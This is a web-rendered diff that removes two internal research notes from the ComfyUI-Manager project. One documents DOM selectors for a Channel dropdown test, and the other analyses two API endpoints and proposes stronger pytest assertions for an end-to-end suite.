**Context**: WI-OO Item 3 follow-up — bloat sweep `dev:ci-022` B8 "Channel dropdown"
|
||||
test was title-mismatched (filter `/Cache|Local|Channel/` matched DB combo's
|
||||
option text, not the Channel combo itself). This record documents the correct
|
||||
DOM locators for any future reactivation.
|
||||
**Scope**: Record only. No test code added; no audit impact.
|
||||
|
||||
---
|
||||
|
||||
## 1. Source Locations
|
||||
|
||||
| Artifact | Path | Lines | Role |
|
||||
|----------|------|-------|------|
|
||||
| Channel combo creation + registration | `comfyui_manager/js/comfyui-manager.js` | 960-986 | Creates the `<select>`, installs title attr, fetches options from API, mounts into the settings panel via `createSettingsCombo` |
|
||||
| Settings row wrapper | `comfyui_manager/js/comfyui-gui-builder.js` | 15-27 | Exports `createSettingsCombo(label, content)` that wraps the combo in the label/input row |
|
||||
|
||||
## 2. DOM Structure
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Tag | `<select>` |
|
||||
| Classes | `cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled` |
|
||||
| `title` attribute | `"Configure the channel for retrieving data from the Custom Node list (including missing nodes) or the Model list."` (set at L961) |
|
||||
| Options source | `/v2/manager/channel_url_list` — populated asynchronously at L963-984 |
|
||||
| Option texts | Channel URL names (e.g. `default`, `recent`, custom URLs); NOT the word "Channel" |
|
||||
| Label wrapper | `div.setting-item > div.flex.flex-row.items-center.gap-2 > div.form-label.flex.grow.items-center > span.text-muted` with `textContent: "Channel"` (from `createSettingsCombo`) |
|
||||
| Render timing | Select element itself: **sync** at menu build time. Options: **async** after `channel_url_list` fetch resolves |
|
||||
|
||||
## 3. Why the Original `hasText: /Cache|Local|Channel/` Filter Failed
|
||||
|
||||
The removed test used `hasText` to find the Channel dropdown, but that matcher
|
||||
searches the element's rendered text (its `<option>` children's text in the case
|
||||
of a `<select>`). The Channel combo's options are channel URL names — they do
|
||||
not contain the words `Cache`, `Local`, or `Channel`.
|
||||
|
||||
In contrast, the DB (datasrc) combo located a few lines above
|
||||
(comfyui-manager.js:957, built from `this.datasrc_combo` which seeds options
|
||||
`Cache` / `Local` / `Remote`) did contain those literals, so the filter
|
||||
silently resolved to the wrong `<select>`. The test asserted visibility, which
|
||||
passed against the DB combo, masking the mismatch until WI-OO's audit exposed
|
||||
it as B8 title-mismatch bloat.
|
||||
|
||||
## 4. Stable Selector Candidates
|
||||
|
||||
Ordered by robustness (most stable first):
|
||||
|
||||
1. **Title attribute (recommended)** — unique per L961
|
||||
```ts
|
||||
select[title^="Configure the channel"]
|
||||
```
|
||||
The leading prefix `Configure the channel` appears nowhere else in the
|
||||
managed panel. Safe against minor title copy edits as long as the opening
|
||||
phrase is preserved.
|
||||
|
||||
2. **Label-based scope** — DOM-structure dependent
|
||||
```ts
|
||||
.setting-item:has(span.text-muted:text-is("Channel")) select
|
||||
```
|
||||
Works as long as `createSettingsCombo` keeps its current wrapper shape and
|
||||
the exact label text `"Channel"`.
|
||||
|
||||
3. **Class-only** — NOT unique
|
||||
Classes `cm-menu-combo p-select ...` are shared with the DB, Update-Policy,
|
||||
and Share combos. Using classes alone will match multiple elements and is
|
||||
brittle.
|
||||
|
||||
## 5. Async-Population Note
|
||||
|
||||
Options for the Channel combo are populated via an async `fetchApi` call to
|
||||
`/v2/manager/channel_url_list` at L963. Two testing consequences:
|
||||
|
||||
- A visibility assertion on the `<select>` resolves immediately — the element
|
||||
is appended synchronously at L960 and mounted at L986.
|
||||
- An assertion about option count or specific option values MUST wait for the
|
||||
fetch to resolve. Use `expect.poll` (or equivalent) with a reasonable
|
||||
timeout (≥5s) rather than an immediate `toHaveCount` check.
|
||||
|
||||
## 6. Proposed Test Skeleton (Reference Only)
|
||||
|
||||
Not added to any spec — kept here for future activation.
|
||||
|
||||
```ts
|
||||
test('shows Channel dropdown (async-populated)', async ({ page }) => {
|
||||
await openManagerMenu(page);
|
||||
const dialog = page.locator('#cm-manager-dialog').first();
|
||||
const channelCombo = dialog.locator('select[title^="Configure the channel"]');
|
||||
await expect(channelCombo).toBeVisible();
|
||||
await expect.poll(
|
||||
async () => await channelCombo.locator('option').count(),
|
||||
{ timeout: 5000 }
|
||||
).toBeGreaterThan(0);
|
||||
});
|
||||
```
|
||||
|
||||
## 7. Decision
|
||||
|
||||
Test **not** added. This aligns with the post-bloat-sweep net-removal
|
||||
direction established by WI-OO: re-introducing a Channel-dropdown visibility
|
||||
test would re-expand the surface the sweep explicitly trimmed. The record is
|
||||
preserved here so that, if future coverage expansion prioritizes the settings
|
||||
panel, reactivation needs only copy the skeleton above and choose selector
|
||||
option 1 from §4.
|
||||
@@ -1,215 +0,0 @@
|
||||
# Research: Cluster G Semantics — imported_mode + boolean CLI flag
|
||||
|
||||
**Scope**: Wave3 Cluster G pre-research for dev assertion design.
|
||||
**Researcher**: gteam-teng (Explore, read-only)
|
||||
**Date**: 2026-04-19
|
||||
**Targets**: 2 | **Status**: both resolved
|
||||
|
||||
---
|
||||
|
||||
## Target 1 — `/v2/customnode/installed?mode=imported` Semantics
|
||||
|
||||
### (i) Current source behavior — FROZEN AT STARTUP confirmed
|
||||
|
||||
**Source: `comfyui_manager/glob/manager_server.py`**
|
||||
|
||||
```python
|
||||
# L1510 — module-level evaluation at import time
|
||||
startup_time_installed_node_packs = core.get_installed_node_packs()
|
||||
|
||||
# L1513-1522
|
||||
@routes.get("/v2/customnode/installed")
|
||||
async def installed_list(request):
|
||||
mode = request.query.get("mode", "default")
|
||||
if mode == "imported":
|
||||
res = startup_time_installed_node_packs # frozen
|
||||
else:
|
||||
res = core.get_installed_node_packs() # live
|
||||
```
|
||||
|
||||
**Source: `comfyui_manager/glob/manager_core.py:1599-1632`** — `get_installed_node_packs()` scans filesystem via `os.listdir()` on every call (LIVE).
|
||||
|
||||
**Design intent**: "imported" mode returns the snapshot captured exactly once, at module import time (when `from .glob import manager_server` runs during ComfyUI startup). Default mode re-scans the filesystem. The divergence surfaces after a runtime install — default grows, imported does not. Used by `TaskQueue` (`manager_server.py:211`) to know what was loaded vs what is now on disk.
|
||||
|
||||
### (ii) Test-env expected value
|
||||
|
||||
At startup, before any install action, `imported == default` in content (same filesystem state, same scan logic). The seed pack `ComfyUI_SigmoidOffsetScheduler` MUST be present in both.
|
||||
|
||||
Schema per entry: `{cnr_id: str, ver: str, aux_id: Optional[str], enabled: bool}` — see `manager_core.py:1614` & `:1630`.
|
||||
|
||||
### (iii) Wave3 assertion code snippet (Cluster G)
|
||||
|
||||
**Strategy A — schema + seed check (cheap, deterministic, no install needed):**
|
||||
|
||||
```python
|
||||
def test_installed_imported_mode(self, comfyui):
|
||||
"""GET ?mode=imported returns startup snapshot with documented schema.
|
||||
|
||||
Frozen-at-startup invariant: at test time (no installs have occurred
|
||||
since server start), the imported snapshot must match the live listing
|
||||
in cardinality + key set, and each entry must carry the documented
|
||||
InstalledPack schema.
|
||||
"""
|
||||
# Frozen snapshot
|
||||
resp_imp = requests.get(
|
||||
f"{BASE_URL}/v2/customnode/installed",
|
||||
params={"mode": "imported"}, timeout=10,
|
||||
)
|
||||
assert resp_imp.status_code == 200
|
||||
imported = resp_imp.json()
|
||||
assert isinstance(imported, dict), f"expected dict, got {type(imported).__name__}"
|
||||
|
||||
# E2E seed pack must be in the startup snapshot
|
||||
seed = "ComfyUI_SigmoidOffsetScheduler"
|
||||
assert seed in imported, (
|
||||
f"seed pack {seed!r} missing from imported snapshot: keys={list(imported)}"
|
||||
)
|
||||
# Schema: same as default mode
|
||||
entry = imported[seed]
|
||||
for required in ("cnr_id", "ver", "enabled"):
|
||||
assert required in entry, f"{seed} missing {required!r}: {entry!r}"
|
||||
|
||||
# Frozen invariant (cheap form): imported at startup == default at startup
|
||||
# (no install has occurred, so they must agree on keys + core fields)
|
||||
resp_def = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10)
|
||||
default = resp_def.json()
|
||||
assert set(imported.keys()) == set(default.keys()), (
|
||||
f"imported != default at startup: "
|
||||
f"only-imported={set(imported)-set(default)}, "
|
||||
f"only-default={set(default)-set(imported)}"
|
||||
)
|
||||
```
|
||||
|
||||
**Strategy B — true frozen invariant (expensive, OPTIONAL, skip by default):**
|
||||
|
||||
```python
|
||||
@pytest.mark.skip(reason=
|
||||
"Requires post-startup install; E2E runtime install is slow and gated by "
|
||||
"security_level. Enable via PYTEST_FULL_IMPORTED_MODE=1 for nightly runs.")
|
||||
def test_imported_mode_is_frozen_after_install(self, comfyui):
|
||||
"""After installing a new pack, imported mode MUST still match startup.
|
||||
|
||||
This is the true 'frozen' test — install a pack, then verify default mode
|
||||
sees it while imported mode does not (it was snapshotted before install).
|
||||
"""
|
||||
snap_before = requests.get(
|
||||
f"{BASE_URL}/v2/customnode/installed", params={"mode": "imported"}, timeout=10,
|
||||
).json()
|
||||
# ... trigger install of a fresh pack via /v2/customnode/install or FS manipulation ...
|
||||
snap_after = requests.get(
|
||||
f"{BASE_URL}/v2/customnode/installed", params={"mode": "imported"}, timeout=10,
|
||||
).json()
|
||||
assert snap_before == snap_after, "imported snapshot mutated — frozen invariant broken"
|
||||
live_after = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10).json()
|
||||
assert set(live_after) - set(snap_after), "default mode did not reflect the new install"
|
||||
```
|
||||
|
||||
### (iv) Recommendation
|
||||
|
||||
- Adopt **Strategy A** as the WEAK-upgrade replacement — cheap, deterministic, ADEQUATE (positive path + field-level + cross-mode consistency).
|
||||
- Register **Strategy B** as `[E2E-DEBT]` in the scaffold; keep `@pytest.mark.skip` unless a nightly pipeline enables it.
|
||||
- Limitation to document: Strategy A cannot distinguish "frozen" from "live-and-coincidentally-equal" without a mid-session install — that's what Strategy B covers.
|
||||
|
||||
---
|
||||
|
||||
## Target 2 — `/v2/manager/is_legacy_manager_ui` boolean field (NOT /v2/manager/version)
|
||||
|
||||
**CORRECTION**: Dispatch text suggested `/v2/manager/version` as an example, but `test_returns_boolean_field` is defined inside `class TestIsLegacyManagerUI` (`tests/e2e/test_e2e_system_info.py:151-166`) and actually hits `/v2/manager/is_legacy_manager_ui`. `test_e2e_system_info.py::TestManagerVersion::test_version_returns_string` handles `/v2/manager/version` separately (returns `text/plain`, not JSON bool).
|
||||
|
||||
### (i) Current source behavior
|
||||
|
||||
**Source: `comfyui_manager/glob/manager_server.py:1500-1506`**
|
||||
|
||||
```python
|
||||
@routes.get("/v2/manager/is_legacy_manager_ui")
|
||||
async def is_legacy_manager_ui(request):
|
||||
return web.json_response(
|
||||
{"is_legacy_manager_ui": args.enable_manager_legacy_ui},
|
||||
content_type="application/json",
|
||||
status=200,
|
||||
)
|
||||
```
|
||||
|
||||
**`args`** is imported from `comfy.cli_args` (upstream ComfyUI argparse — `comfyui_manager/__init__.py:6`). The flag `--enable-manager-legacy-ui` is registered by ComfyUI's own cli_args module (not in this repo). `action='store_true'` means default is `False` (bool), not `None`.
|
||||
|
||||
**Same handler exists in legacy server** at `comfyui_manager/legacy/manager_server.py:995-1001` — identical body.
|
||||
|
||||
**Also read in glob at `__init__.py:19`** to gate `from .legacy import manager_server` import. This confirms the value is bool at module load time (used as an `if`).
|
||||
|
||||
### (ii) Test-env expected value — DETERMINISTIC
|
||||
|
||||
**Source: `tests/e2e/scripts/start_comfyui.sh:73-79`** (launch command):
|
||||
|
||||
```bash
|
||||
nohup "$PY" "$COMFY_DIR/main.py" \
|
||||
--cpu \
|
||||
--enable-manager \
|
||||
--port "$PORT" \
|
||||
> "$LOG_FILE" 2>&1 &
|
||||
```
|
||||
|
||||
The E2E launcher passes NO `--enable-manager-legacy-ui` flag. Therefore in every E2E run: `args.enable_manager_legacy_ui = False`.
|
||||
|
||||
No `tests/e2e/**` file references the flag (grep confirmed: 0 matches).
|
||||
|
||||
### (iii) Wave3 assertion code snippet
|
||||
|
||||
**Strengthen from `isinstance(bool)` → exact-value `is False`:**
|
||||
|
||||
```python
|
||||
def test_returns_boolean_field(self, comfyui):
|
||||
"""GET /v2/manager/is_legacy_manager_ui returns {is_legacy_manager_ui: False} in E2E.
|
||||
|
||||
E2E env deterministically omits --enable-manager-legacy-ui
|
||||
(start_comfyui.sh passes only --cpu --enable-manager --port),
|
||||
so args.enable_manager_legacy_ui defaults to False (store_true default).
|
||||
Strengthened from type-only check to exact-value check.
|
||||
"""
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/is_legacy_manager_ui", timeout=10,
|
||||
)
|
||||
assert resp.status_code == 200, f"Expected 200, got {resp.status_code}"
|
||||
data = resp.json()
|
||||
assert "is_legacy_manager_ui" in data, (
|
||||
f"Response missing 'is_legacy_manager_ui' field: {data}"
|
||||
)
|
||||
assert data["is_legacy_manager_ui"] is False, (
|
||||
f"E2E env omits --enable-manager-legacy-ui; expected False, "
|
||||
f"got {data['is_legacy_manager_ui']!r}. If E2E launcher changed, update assertion."
|
||||
)
|
||||
```
|
||||
|
||||
**Optional companion test (true-path coverage, currently out of scope):** A parametrized variant that restarts ComfyUI with `--enable-manager-legacy-ui` and asserts `is True`. Not recommended for Cluster G — server restart doubles suite runtime and the legacy path is already exercised by playwright `legacy-ui-*.spec.ts` tests.
|
||||
|
||||
### (iv) Recommendation
|
||||
|
||||
- Upgrade `isinstance(bool)` → `is False` as above. ADEQUATE (positive-path + field + exact value).
|
||||
- Document the launcher dependency in a comment (already in the snippet).
|
||||
- If the E2E launcher ever passes `--enable-manager-legacy-ui`, the assertion fails loudly with a clear message — correct behavior.
|
||||
|
||||
---
|
||||
|
||||
## Summary Table
|
||||
|
||||
| Target | Current test | Upgrade path | Complexity | E2E-debt? |
|
||||
|---|---|---|---|---|
|
||||
| T1 imported_mode (`test_installed_imported_mode`) | dict-type only (WEAK) | Schema + seed + cross-mode keyset equality (ADEQUATE) | LOW | Yes — frozen-after-install invariant skipped (Strategy B) |
|
||||
| T2 boolean flag (`test_returns_boolean_field`) | `isinstance(bool)` (WEAK) | `is False` with launcher-deterministic comment (ADEQUATE) | LOW | No |
|
||||
|
||||
## Constraints / Limitations
|
||||
|
||||
- Research performed as Explore agent (read-only). No tests executed, no code modified.
|
||||
- `comfy.cli_args` is upstream (ComfyUI), not in manager repo — flag default verified via usage pattern (store_true action) and the `if args.enable_manager_legacy_ui:` truthiness check at `__init__.py:19`, which would crash with `TypeError` on `None` truthiness on integer comparisons but works on falsy-default bool.
|
||||
- Target 2 CORRECTION: dispatch referenced `/v2/manager/version` but the target test actually hits `/v2/manager/is_legacy_manager_ui` — verified via source inspection of test class.
|
||||
|
||||
## Grep/Read evidence index
|
||||
|
||||
| # | Command | Finding |
|
||||
|---|---|---|
|
||||
| 1 | `Grep pattern=/customnode/installed path=glob/manager_server.py` | L1510 snapshot init, L1513-1520 handler |
|
||||
| 2 | `Read tests/e2e/test_e2e_customnode_info.py` | L224-237 current WEAK test |
|
||||
| 3 | `Grep pattern=is_legacy_manager_ui path=comfyui_manager` | L1500-1506 glob handler, L995-1001 legacy handler |
|
||||
| 4 | `Grep pattern=enable-manager-legacy-ui path=tests/e2e` | 0 matches — flag not passed in E2E |
|
||||
| 5 | `Read tests/e2e/scripts/start_comfyui.sh` | L73-79 launch command (no legacy flag) |
|
||||
| 6 | `Read comfyui_manager/__init__.py` | L19 uses flag as truthy gate |
|
||||
| 7 | `Read glob/manager_core.py:1599-1632` | `get_installed_node_packs()` live filesystem scan |
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user